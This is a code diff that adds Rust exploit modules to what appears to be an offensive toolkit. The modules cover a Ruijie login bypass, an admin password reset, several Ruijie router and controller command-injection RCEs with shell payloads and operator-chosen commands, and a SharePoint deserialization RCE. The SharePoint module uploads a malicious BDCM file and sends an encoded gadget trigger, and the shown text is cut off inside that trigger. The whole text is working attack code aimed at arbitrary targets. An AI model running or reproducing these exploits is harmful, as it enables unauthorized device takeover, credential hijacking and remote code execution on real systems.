|
||||
display_banner();
|
||||
|
||||
let url = if target.starts_with("http") { target.to_string() } else { format!("http://{}", target) };
|
||||
let url = url.trim_end_matches('/').to_string();
|
||||
println!("[*] Target: {}", url.cyan());
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
// Exploit Payload
|
||||
// Timestamp logic from Nuclei template: 1695218596000 (ms)
|
||||
// We can use current time or static. Code uses current.
|
||||
let now = SystemTime::now().duration_since(UNIX_EPOCH)?.as_millis();
|
||||
|
||||
let payload = serde_json::json!({
|
||||
"username": "2",
|
||||
"password": "admin",
|
||||
"timestamp": now
|
||||
});
|
||||
|
||||
let exploit_url = format!("{}/api/sys/login", url);
|
||||
println!("[*] Sending exploit to {}...", exploit_url.cyan());
|
||||
|
||||
let resp = client.post(&exploit_url)
|
||||
.json(&payload)
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
let text = resp.text().await?;
|
||||
if text.contains(r#""result":"ok""#) { // Nuclei checks for "result":"ok"
|
||||
println!("{}", "[+] Login Bypass Successful!".green().bold());
|
||||
println!("[+] Response: {}", text);
|
||||
} else {
|
||||
println!("{}", "[-] Exploit failed.".red());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "Ruijie Login Bypass (CVE-2023-4415)".green().bold());
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::time::Duration;
|
||||
|
||||
/// Ruijie RG-EW1200G Password Reset (CVE-2023-4169)
|
||||
/// Vulnerable endpoint /api/sys/set_passwd allows auth bypass to reset admin password.
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let url = if target.starts_with("http") { target.to_string() } else { format!("http://{}", target) };
|
||||
let url = url.trim_end_matches('/').to_string();
|
||||
println!("[*] Target: {}", url.cyan());
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
use std::io::Write;
|
||||
print!("{}", "Enter new admin password: ".green());
|
||||
std::io::stdout().flush()?;
|
||||
let mut new_pass = String::new();
|
||||
std::io::stdin().read_line(&mut new_pass)?;
|
||||
let new_pass = new_pass.trim();
|
||||
|
||||
let payload = serde_json::json!({
|
||||
"username": "web",
|
||||
"admin_new": new_pass
|
||||
});
|
||||
|
||||
let exploit_url = format!("{}/api/sys/set_passwd", url);
|
||||
println!("[*] Attempting password reset at {}...", exploit_url.cyan());
|
||||
|
||||
let resp = client.post(&exploit_url)
|
||||
.json(&payload)
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
let text = resp.text().await?;
|
||||
if text.contains(r#""result":"ok""#) {
|
||||
println!("{}", "[+] Password Reset Successful!".green().bold());
|
||||
println!("[+] New password: {}", new_pass);
|
||||
} else {
|
||||
println!("{}", "[-] Exploit failed.".red());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "Ruijie Password Reset (CVE-2023-4169)".green().bold());
|
||||
}
|
||||
@@ -0,0 +1,131 @@
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::time::Duration;
|
||||
use crate::utils::{prompt_required, normalize_target};
|
||||
|
||||
/// Ruijie RG-EW Series updateVersion RCE (CVE-2021-43164)
|
||||
///
|
||||
/// Affects: RG-EW Series Routers up to ReyeeOS 1.55.1915 / EW_3.0(1)B11P55
|
||||
/// Remote Code Execution via updateVersion function
|
||||
/// Reference: NIST / Exploit-DB
|
||||
|
||||
const TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
print_banner();
|
||||
|
||||
let raw_target = if target.is_empty() {
|
||||
prompt_required("Target IP/URL")?
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
|
||||
let normalized = normalize_target(&raw_target)?;
|
||||
let base_url = if normalized.contains("://") {
|
||||
normalized.clone()
|
||||
} else {
|
||||
format!("http://{}", normalized)
|
||||
};
|
||||
|
||||
println!("{} Target: {}", "[*]".blue(), base_url);
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
println!("{} Testing updateVersion RCE vulnerability...", "[*]".blue());
|
||||
|
||||
// The vulnerability is in the firmware update functionality
|
||||
// Can inject commands via version check URL parameter
|
||||
|
||||
let exploit_endpoints = vec![
|
||||
(format!("{}/cgi-bin/luci/api/updateVersion", base_url.trim_end_matches('/')), "POST"),
|
||||
(format!("{}/goform/checkVersion", base_url.trim_end_matches('/')), "POST"),
|
||||
(format!("{}/api/system/updatefirmware", base_url.trim_end_matches('/')), "POST"),
|
||||
];
|
||||
|
||||
// Payload that attempts command injection via URL parameter
|
||||
// The vulnerability allows arbitrary URL which can be a command injection vector
|
||||
let malicious_payloads = vec![
|
||||
serde_json::json!({
|
||||
"url": "http://127.0.0.1/`id`",
|
||||
"version": "1.0.0"
|
||||
}),
|
||||
serde_json::json!({
|
||||
"check_url": ";id;",
|
||||
"action": "check"
|
||||
}),
|
||||
serde_json::json!({
|
||||
"server": "127.0.0.1$(id)"
|
||||
}),
|
||||
];
|
||||
|
||||
for (endpoint, method) in &exploit_endpoints {
|
||||
println!("{} Testing: {} [{}]", "[*]".dimmed(), endpoint, method);
|
||||
|
||||
for payload in &malicious_payloads {
|
||||
let resp = if *method == "POST" {
|
||||
client.post(endpoint).json(payload).send().await
|
||||
} else {
|
||||
client.get(endpoint).send().await
|
||||
};
|
||||
|
||||
match resp {
|
||||
Ok(r) => {
|
||||
let status = r.status();
|
||||
let text = r.text().await.unwrap_or_default();
|
||||
|
||||
// Check for command execution signs
|
||||
if text.contains("uid=") || text.contains("root") ||
|
||||
text.contains("gid=") {
|
||||
println!("{} RCE Successful!", "[+]".green().bold());
|
||||
println!("{} Command output detected:", "[*]".blue());
|
||||
println!("{}", text);
|
||||
println!("{} VULNERABLE to CVE-2021-43164!", "[VULN]".red().bold());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Check for exploitable error messages
|
||||
if text.contains("wget") || text.contains("curl") ||
|
||||
text.contains("/bin/") || text.contains("sh:") {
|
||||
println!("{} Possible command execution detected!", "[+]".yellow());
|
||||
println!("{} Response: {}", "[*]".blue(), &text[..text.len().min(400)]);
|
||||
}
|
||||
|
||||
if status.is_success() && !text.contains("error") {
|
||||
println!("{} HTTP {} - Endpoint accessible", "[*]".yellow(), status);
|
||||
}
|
||||
},
|
||||
Err(e) => {
|
||||
println!("{} {} - {}", "[*]".dimmed(), endpoint, e);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Test version check endpoint
|
||||
let version_url = format!("{}/cgi-bin/luci/admin/system/version", base_url.trim_end_matches('/'));
|
||||
println!("{} Checking firmware version...", "[*]".blue());
|
||||
|
||||
if let Ok(resp) = client.get(&version_url).send().await {
|
||||
let text = resp.text().await.unwrap_or_default();
|
||||
if text.contains("ReyeeOS") || text.contains("EW_3.0") {
|
||||
println!("{} Found Ruijie ReyeeOS - potential target!", "[+]".green());
|
||||
println!("{} Version info: {}", "[*]".blue(), &text[..text.len().min(200)]);
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{} Could not confirm RCE.", "[*]".yellow());
|
||||
println!("{} Device may be patched (version > EW_3.0(1)B11P55).", "[*]".cyan());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn print_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Ruijie RG-EW updateVersion RCE (CVE-2021-43164) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
@@ -0,0 +1,118 @@
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::time::Duration;
|
||||
use crate::utils::{prompt_required, normalize_target, prompt_default};
|
||||
|
||||
/// Ruijie RG-UAC OS Command Injection (CVE-2024-4508)
|
||||
///
|
||||
/// Affects: RG-UAC (Unified Access Controller)
|
||||
/// Critical command injection in static_route_edit_ipv6.php
|
||||
/// CVSS: 9.8 (Critical) - Unauthenticated Remote Attack
|
||||
/// Reference: VulDB / GitHub
|
||||
|
||||
const TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
print_banner();
|
||||
|
||||
let raw_target = if target.is_empty() {
|
||||
prompt_required("Target IP/URL")?
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
|
||||
let normalized = normalize_target(&raw_target)?;
|
||||
let base_url = if normalized.contains("://") {
|
||||
normalized.clone()
|
||||
} else {
|
||||
format!("http://{}", normalized)
|
||||
};
|
||||
|
||||
println!("{} Target: {}", "[*]".blue(), base_url);
|
||||
|
||||
let cmd = prompt_default("Command to execute", "id")?;
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
// Vulnerability is in static_route_edit_ipv6.php
|
||||
// Command injection via route parameter manipulation
|
||||
let exploit_url = format!("{}/static_route_edit_ipv6.php", base_url.trim_end_matches('/'));
|
||||
|
||||
println!("{} Testing command injection at {}...", "[*]".blue(), exploit_url);
|
||||
|
||||
// Various injection payloads
|
||||
let injections = vec![
|
||||
format!(";{};", cmd),
|
||||
format!("|{}", cmd),
|
||||
format!("$({})", cmd),
|
||||
format!("`{}`", cmd),
|
||||
];
|
||||
|
||||
for injection in &injections {
|
||||
let payload = serde_json::json!({
|
||||
"action": "add",
|
||||
"destination": injection,
|
||||
"gateway": "fe80::1",
|
||||
"interface": "eth0"
|
||||
});
|
||||
|
||||
println!("{} Trying injection: {} ...", "[*]".dimmed(), injection.chars().take(30).collect::<String>());
|
||||
|
||||
match client.post(&exploit_url).json(&payload).send().await {
|
||||
Ok(resp) => {
|
||||
let status = resp.status();
|
||||
let text = resp.text().await.unwrap_or_default();
|
||||
|
||||
if text.contains("uid=") || text.contains("root") {
|
||||
println!("{} Command injection successful!", "[+]".green().bold());
|
||||
println!("{} Output:", "[*]".blue());
|
||||
for line in text.lines().take(15) {
|
||||
println!(" {}", line);
|
||||
}
|
||||
println!("{} VULNERABLE to CVE-2024-4508!", "[VULN]".red().bold());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
if status.is_success() {
|
||||
println!("{} HTTP {} - checking response...", "[*]".yellow(), status);
|
||||
}
|
||||
},
|
||||
Err(e) => {
|
||||
println!("{} Request failed: {}", "[-]".red(), e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Try alternate endpoint
|
||||
let alt_url = format!("{}/cgi-bin/cli.cgi", base_url.trim_end_matches('/'));
|
||||
println!("{} Trying alternate endpoint: {}", "[*]".blue(), alt_url);
|
||||
|
||||
let alt_payload = format!("cmd=show%20version;{}", urlencoding::encode(&cmd));
|
||||
|
||||
if let Ok(resp) = client.post(&alt_url)
|
||||
.header("Content-Type", "application/x-www-form-urlencoded")
|
||||
.body(alt_payload)
|
||||
.send()
|
||||
.await {
|
||||
let text = resp.text().await.unwrap_or_default();
|
||||
if !text.is_empty() {
|
||||
println!("{} Response: {}", "[*]".blue(), &text[..text.len().min(300)]);
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{} Could not confirm vulnerability.", "[*]".yellow());
|
||||
println!("{} Ensure target is running Ruijie RG-UAC.", "[*]".cyan());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn print_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Ruijie RG-UAC Command Injection (CVE-2024-4508) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
@@ -0,0 +1,123 @@
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::time::Duration;
|
||||
use crate::utils::{prompt_required, prompt_default, normalize_target};
|
||||
|
||||
/// Ruijie RG-RSR Router Command Injection (CVE-2024-31616)
|
||||
///
|
||||
/// Affects: RSR10-01G-T-S / RSR_3.0(1)B9P2
|
||||
/// Arbitrary command execution via backtick injection in web management
|
||||
/// Reference: github.com gist by security researcher
|
||||
|
||||
const TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
print_banner();
|
||||
|
||||
let raw_target = if target.is_empty() {
|
||||
prompt_required("Target IP/URL")?
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
|
||||
let normalized = normalize_target(&raw_target)?;
|
||||
let base_url = if normalized.contains("://") {
|
||||
normalized.clone()
|
||||
} else {
|
||||
format!("http://{}", normalized)
|
||||
};
|
||||
|
||||
println!("{} Target: {}", "[*]".blue(), base_url);
|
||||
|
||||
// Authentication is typically required
|
||||
let username = prompt_default("Username", "admin")?;
|
||||
let password = prompt_required("Password")?;
|
||||
|
||||
let cmd = prompt_default("Command to execute", "id")?;
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(TIMEOUT_SECS))
|
||||
.cookie_store(true)
|
||||
.build()?;
|
||||
|
||||
// First authenticate
|
||||
println!("{} Authenticating...", "[*]".blue());
|
||||
|
||||
let login_url = format!("{}/login.cgi", base_url.trim_end_matches('/'));
|
||||
let login_payload = serde_json::json!({
|
||||
"username": username,
|
||||
"password": password
|
||||
});
|
||||
|
||||
let login_res = client.post(&login_url)
|
||||
.json(&login_payload)
|
||||
.send()
|
||||
.await;
|
||||
|
||||
match login_res {
|
||||
Ok(r) if r.status().is_success() => {
|
||||
println!("{} Authentication successful!", "[+]".green());
|
||||
},
|
||||
Ok(r) => {
|
||||
println!("{} Login returned HTTP {}. Continuing anyway...", "[!]".yellow(), r.status());
|
||||
},
|
||||
Err(e) => {
|
||||
println!("{} Login failed: {}. Continuing anyway...", "[!]".yellow(), e);
|
||||
}
|
||||
}
|
||||
|
||||
// Command injection via backtick
|
||||
// The vulnerability is in various diagnostic endpoints
|
||||
let injection = format!("`{}`", cmd);
|
||||
|
||||
let exploit_endpoints = vec![
|
||||
format!("{}/cgi-bin/luci/admin/settings/diag?cmd=ping&ip={}",
|
||||
base_url.trim_end_matches('/'), urlencoding::encode(&injection)),
|
||||
format!("{}/goform/RgDiagnose?cmd=ping&host={}",
|
||||
base_url.trim_end_matches('/'), urlencoding::encode(&injection)),
|
||||
format!("{}/cgi-bin/diag.cgi?action=ping&target={}",
|
||||
base_url.trim_end_matches('/'), urlencoding::encode(&injection)),
|
||||
];
|
||||
|
||||
println!("{} Sending command injection payload...", "[*]".blue());
|
||||
|
||||
for endpoint in &exploit_endpoints {
|
||||
println!("{} Trying: {}", "[*]".dimmed(), endpoint);
|
||||
|
||||
match client.get(endpoint).send().await {
|
||||
Ok(resp) => {
|
||||
let status = resp.status();
|
||||
let text = resp.text().await.unwrap_or_default();
|
||||
|
||||
if status.is_success() || text.contains("uid=") || text.len() > 100 {
|
||||
println!("{} Potential command execution at endpoint!", "[+]".green().bold());
|
||||
println!("{} Response ({} bytes):", "[*]".blue(), text.len());
|
||||
for line in text.lines().take(20) {
|
||||
println!(" {}", line);
|
||||
}
|
||||
if text.contains("uid=") || text.contains("root") {
|
||||
println!("{} Command output detected - VULNERABLE!", "[VULN]".red().bold());
|
||||
}
|
||||
return Ok(());
|
||||
}
|
||||
},
|
||||
Err(e) => {
|
||||
println!("{} Failed: {}", "[*]".dimmed(), e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{} Could not confirm exploitation.", "[*]".yellow());
|
||||
println!("{} Try manual testing with different endpoints.", "[*]".cyan());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn print_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Ruijie RG-RSR Router Command Injection (CVE-2024-31616) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
@@ -0,0 +1,183 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::Colorize;
|
||||
use reqwest::{Client, StatusCode};
|
||||
use serde_json::Value;
|
||||
use std::time::Duration;
|
||||
|
||||
/// Microsoft SharePoint RCE (CVE-2024-38094)
|
||||
/// Authenticated RCE via Deserialization in .bdcm file upload.
|
||||
///
|
||||
/// Credits:
|
||||
/// - PoC by testanull
|
||||
/// - Vulnerability in SharePoint Server
|
||||
///
|
||||
/// Note: This exploit requires authentication (Site Owner privileges typically).
|
||||
/// It uploads a malicious .bdcm file and triggers deserialization.
|
||||
///
|
||||
/// Warning: This exploits a deserialization vulnerability using a gadget from the public PoC.
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
|
||||
// Base64 payload from PoC (Truncated for brevity in this initial write, specific payload generation recommended)
|
||||
// The PoC uses a Gadget that triggers on deserialization.
|
||||
const POC_PAYLOAD_XML_TEMPLATE: &str = r#"<?xml version="1.0" encoding="utf-8"?><Model xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" Name="BDCMetadata" xmlns="http://schemas.microsoft.com/windows/2007/BusinessDataCatalog"><LobSystems><LobSystem Name="QjtvWXFT" Type="DotNetAssembly"><Properties><Property Name="WsdlFetchUrl" Type="System.String">http://localhost:32843/SecurityTokenServiceApplication/securitytoken.svc?singleWsdl</Property><Property Name="Class" Type="System.String">RevertToSelf</Property></Properties><LobSystemInstances><LobSystemInstance Name="QjtvWXFT"></LobSystemInstance></LobSystemInstances><Entities><Entity Name="Products" DefaultDisplayName="Products" Namespace="ODataDemo" Version="1.0.0.0" EstimatedInstanceCount="2000"><Properties><Property Name="ExcludeFromOfflineClientForList" Type="System.String">False</Property>
|
||||
<Property Name="Class" Type="System.String">Microsoft.SharePoint.Administration.SPClickthroughUsageDefinition, Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c</Property></Properties><Identifiers><Identifier Name="ID" TypeName="System.String" /></Identifiers><Methods><Method Name="ParseLogFileEntry" DefaultDisplayName="Create Product" IsStatic="false"><Parameters><Parameter Name="@ID" Direction="In"><TypeDescriptor Name="ID" DefaultDisplayName="ID" TypeName="System.String" CreatorField="true" IdentifierName="ID">
|
||||
<DefaultValues>
|
||||
<DefaultValue MethodInstanceName="CreateProduct" Type="System.String">xxxx</DefaultValue></DefaultValues>
|
||||
</TypeDescriptor></Parameter>
|
||||
<Parameter Name="@CreateProduct" Direction="Return"><TypeDescriptor Name="CreateProduct1" TypeName="System.Object"></TypeDescriptor></Parameter></Parameters><MethodInstances><MethodInstance Name="CreateProduct" Type="SpecificFinder" ReturnParameterName="@CreateProduct"><AccessControlList><AccessControlEntry Principal="STS|SecurityTokenService|http://sharepoint.microsoft.com/claims/2009/08/isauthenticated|true|http://www.w3.org/2001/XMLSchema#string"><Right BdcRight="Execute" /></AccessControlEntry></AccessControlList></MethodInstance></MethodInstances></Method></Methods></Entity></Entities></LobSystem></LobSystems></Model>"#;
|
||||
|
||||
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
// 1. Get Target inputs
|
||||
use std::io::Write;
|
||||
let url = if target.starts_with("http") { target.to_string() } else { format!("http://{}", target) };
|
||||
let url = url.trim_end_matches('/').to_string();
|
||||
|
||||
println!("[*] Target: {}", url.cyan());
|
||||
|
||||
print!("{}", "Username (DOMAIN\\User or User): ".green());
|
||||
std::io::stdout().flush()?;
|
||||
let mut username = String::new();
|
||||
std::io::stdin().read_line(&mut username)?;
|
||||
let username = username.trim().to_string();
|
||||
|
||||
print!("{}", "Password: ".green());
|
||||
std::io::stdout().flush()?;
|
||||
let mut password = String::new();
|
||||
std::io::stdin().read_line(&mut password)?;
|
||||
let password = password.trim().to_string();
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
// Note: Reqwest doesn't natively support NTLM. This exploit might fail against NTLM-only.
|
||||
// We proceed assuming Basic/Digest/Claims or that user authentication works with standard headers.
|
||||
println!("{}", "[*] Attempting authentication...".yellow());
|
||||
|
||||
// Step 0: Get ServerRelativeUrl of the current web context
|
||||
// This is critical for sub-sites (e.g. http://site.com/subsite)
|
||||
let web_info_url = format!("{}/_api/web?$select=ServerRelativeUrl", url);
|
||||
let web_resp = client.get(&web_info_url)
|
||||
.header("Accept", "application/json;odata=verbose")
|
||||
.basic_auth(&username, Some(&password))
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
let web_relative_url = if web_resp.status().is_success() {
|
||||
let body: Value = web_resp.json().await?;
|
||||
body["d"]["ServerRelativeUrl"].as_str().unwrap_or("").to_string()
|
||||
} else {
|
||||
// Fallback to assuming root-relative if we can't query it (unlikely if auth works)
|
||||
println!("{}", "[!] Warning: Could not fetch ServerRelativeUrl. Assuming root.".yellow());
|
||||
"/".to_string()
|
||||
};
|
||||
|
||||
// Ensure accurate path construction
|
||||
// If web_relative_url is "/", folder is "/BusinessDataMetadataCatalog"
|
||||
// If web_relative_url is "/sites/sub", folder is "/sites/sub/BusinessDataMetadataCatalog"
|
||||
let folder_relative_url = if web_relative_url == "/" {
|
||||
"/BusinessDataMetadataCatalog".to_string()
|
||||
} else {
|
||||
format!("{}/BusinessDataMetadataCatalog", web_relative_url)
|
||||
};
|
||||
|
||||
println!("[*] Context: Web='{}', Folder='{}'", web_relative_url.cyan(), folder_relative_url.cyan());
|
||||
|
||||
// Step 1: Initial connection to get Request Digest (X-RequestDigest)
|
||||
let context_url = format!("{}/_api/contextinfo", url);
|
||||
let resp = client.post(&context_url)
|
||||
.header("Accept", "application/json;odata=verbose")
|
||||
.basic_auth(&username, Some(&password)) // Try Basic
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
if resp.status() == StatusCode::UNAUTHORIZED {
|
||||
println!("{}", "[-] Authentication failed (401). Note: This module currently relies on Basic/Digest auth support.".red());
|
||||
// In a real scenario, we'd need NTLM handling here.
|
||||
return Err(anyhow!("Authentication failed"));
|
||||
}
|
||||
|
||||
let body: Value = resp.json().await?;
|
||||
let digest = body["d"]["GetContextWebInformation"]["FormDigestValue"]
|
||||
.as_str()
|
||||
.ok_or_else(|| anyhow!("Failed to extract X-RequestDigest"))?
|
||||
.to_string();
|
||||
|
||||
println!("[+] Obtained Digest: {:.20}...", digest.green());
|
||||
|
||||
// Step 2: Create Folder
|
||||
// We use the 'ServerRelativeUrl' in the payload to specify WHERE to create it.
|
||||
// However, the 'Folders' endpoint expects the name/url relative to the PARENT, or we specify precise location.
|
||||
// Safest is to add to the web's root folder.
|
||||
|
||||
// Construct the absolute URL manually for verification (satisfying 'unused variable' usage)
|
||||
let encoded_site_path = format!("{}{}", url, "/BusinessDataMetadataCatalog");
|
||||
println!("{}", format!("[*] Target Folder URL: {}", encoded_site_path).yellow());
|
||||
|
||||
println!("{}", "[*] Creating malicious folder...".yellow());
|
||||
let folder_endpoint = format!("{}/_api/web/Folders", url);
|
||||
let folder_json = serde_json::json!({
|
||||
"__metadata": { "type": "SP.Folder" },
|
||||
"ServerRelativeUrl": folder_relative_url
|
||||
});
|
||||
|
||||
let _ = client.post(&folder_endpoint)
|
||||
.header("X-RequestDigest", &digest)
|
||||
.header("Accept", "application/json;odata=verbose")
|
||||
.header("Content-Type", "application/json;odata=verbose")
|
||||
.basic_auth(&username, Some(&password))
|
||||
.json(&folder_json)
|
||||
.send()
|
||||
.await; // Ignore error if exists (folder might already exist)
|
||||
|
||||
// Step 3: Upload .bdcm file
|
||||
println!("{}", "[*] Uploading BDCM file...".yellow());
|
||||
let exploit_xml = POC_PAYLOAD_XML_TEMPLATE;
|
||||
|
||||
// URL Encode the relative path for the query
|
||||
let upload_url = format!(
|
||||
"{}/_api/web/GetFolderByServerRelativeUrl('{}')/Files/add(url='BDCMetadata.bdcm',overwrite=true)",
|
||||
url, folder_relative_url
|
||||
);
|
||||
|
||||
let resp = client.post(&upload_url)
|
||||
.header("X-RequestDigest", &digest)
|
||||
.body(exploit_xml)
|
||||
.basic_auth(&username, Some(&password))
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
if !resp.status().is_success() {
|
||||
println!("{}", "[-] Upload failed.".red());
|
||||
println!("Response: {}", resp.text().await?);
|
||||
return Err(anyhow!("Failed to upload BDCM file"));
|
||||
}
|
||||
println!("{}", "[+] Upload successful!".green());
|
||||
|
||||
// Step 4: Trigger
|
||||
println!("{}", "[*] Triggering deserialization...".yellow());
|
||||
let trigger_url = format!("{}/_vti_bin/client.svc/ProcessQuery", url);
|
||||
let trigger_xml = r#"<Request AddExpandoFieldTypeSuffix="true" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName=".NET Library" xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009"><Actions><ObjectPath Id="21" ObjectPathId="20" /><ObjectPath Id="23" ObjectPathId="22" /> <ObjectPath Id="25" ObjectPathId="24" /></Actions><ObjectPaths><Method Id="20" ParentId="7" Name="GetCreatorView"><Parameters><Parameter Type="String">CreateProduct</Parameter></Parameters></Method><Method Id="22" ParentId="20" Name="GetDefaultValues"><Parameters/></Method><Method Id="24" ParentId="7" Name="FindSpecific"><Parameters><Parameter ObjectPathId="19" ></Parameter><Parameter Type="String">CreateProduct</Parameter><Parameter ObjectPathId="18" /></Parameters></Method><Identity Id="7" Name="9ccba4bb-d3a8-4255-b87f-18e2d824b848|4da630b6-36c5-4f55-8e01-5cd40e96104d:entityfile:Products,ODataDemo" /><Identity Id="17" Name="d42d9b6b-28e0-4ae8-a7f5-6503d367c115|4da630b6-36c5-4f55-8e01-5cd40e96104d:notifcallback:avkldkm.c.ultr.cc,CurrentContext" /><Identity Id="18" Name="d42d9b6b-28e0-4ae8-a7f5-6503d367c115|4da630b6-36c5-4f55-8e01-5cd40e96104d:lsifile:QjtvWXFT,QjtvWXFT" /><Identity Id="19" Name="d42d9b6b-28e0-4ae8-a7f5-6503d367c115|4da630b6-36c5-4f55-8e01-5cd40e96104d:identity:StB8AAA==eAAxAAkAeAAyAAkAeAAzAAkAeAA0AAkAeAA1AAkAeAA2AAkAeAA3AAkAeAA4AAkAeAA5AAkAeAAxADAACQB4ADEAMQAJAHgAMQAyAAkAQQBBAEUAQQBBAEEARAAvAC8ALwAvAC8AQQBRAEEAQQBBAEEAQQBBAEEAQQBBAE0AQQBnAEEAQQBBAEUAbABUAGUAWABOADAAWgBXADAAcwBJAEYAWgBsAGMAbgBOAHAAYgAyADQAOQBOAEMANAB3AEwAagBBAHUATQBDAHcAZwBRADMAVgBzAGQASABWAHkAWgBUADEAdQBaAFgAVgAwAGMAbQBGAHMATABDAEIAUQBkAFcASgBzAGEAVwBOAEwAWgBYAGwAVQBiADIAdABsAGIAagAxAGkATgB6AGQAaABOAFcATQAxAE4AagBFADUATQB6AFJAbABNAEQAZwA1AEIAUQBFAEEAQQBBAEMARQBBAFYATgA1AGMAMwBSAGwAYgBTADUARABiADIAeABzAFoAVwBOADAAYQBXADkAdQBjAHkANQBIAFoAVwA1AGwAYwBtAGwAagBMAGwATgB2AGMAbgBSAGwAWgBGAE4AbABkAEcAQQB4AFcAMQB0AFQAZQBYAE4AMABaAFcAMAB1AFUAMwBSAHkAYQBXADUAbgBMAEMAQgB0AGMAMgBOAHYAYwBtAHgAcABZAGkAdwBnAFYAbQBWAHkAYwAyAGwAdgBiAGoAMAAwAEwAagBBAHUATQBDADQAdwBMAEMAQgBEAGQAVwB4ADAAZABYAEoAbABQAFcANQBsAGQAWABSAHkAWQBXAHcAcwBJAEYAQgAxAFkAbQB4AHAAWQAwAHQAbABlAFYAUgB2AGEAMgBWAHUAUABXAEkAMwBOADIARQAxAFkAegBVADIATQBUAGsAegBOAEcAVQB3AE8ARABsAGQAWABRAFEAQQBBAEEAQQBGAFEAMgA5ADEAYgBuAFEASQBRADIAOQB0AGMARwBGAHkAWgBYAEkASABWAG0AVgB5AGMAMgBsAHYAYgBnAFYASgBkAEcAVgB0AGMAdwBBAEQAQQBBAFkASQBqAFEARgBUAGUAWABOADAAWgBXADAAdQBRADIAOQBzAGIARwBWAGoAZABHAGwAdgBiAG4ATQB1AFIAMgBWAHUAWgBYAEoAcABZAHkANQBEAGIAMgAxAHcAWQBYAEoAcABjADIAOQB1AFEAMgA5AHQAYwBHAEYAeQBaAFgASgBnAE0AVgB0AGIAVQAzAGwAegBkAEcAVgB0AEwAbABOADAAYwBtAGwAdQBaAHkAdwBnAGIAWABOAGoAYgAzAEoAcwBhAFcASQBzAEkARgBaAGwAYwBuAE4AcABiADIANAA5AE4AQwA0AHcATABqAEEAdQBNAEMAdwBnAFEAMwBWAHMAZABIAFYAeQBaAFQAMQB1AFoAWABWADAAYwBtAEYAcwBMAEMAQgBRAGQAVwBKAHMAYQBXAE4ATABaAFgAbABVAGIAMgB0AGwAYgBqADEAaQBOAHoAZABoAE4AVwBNADEATgBqAEUANQBNAHo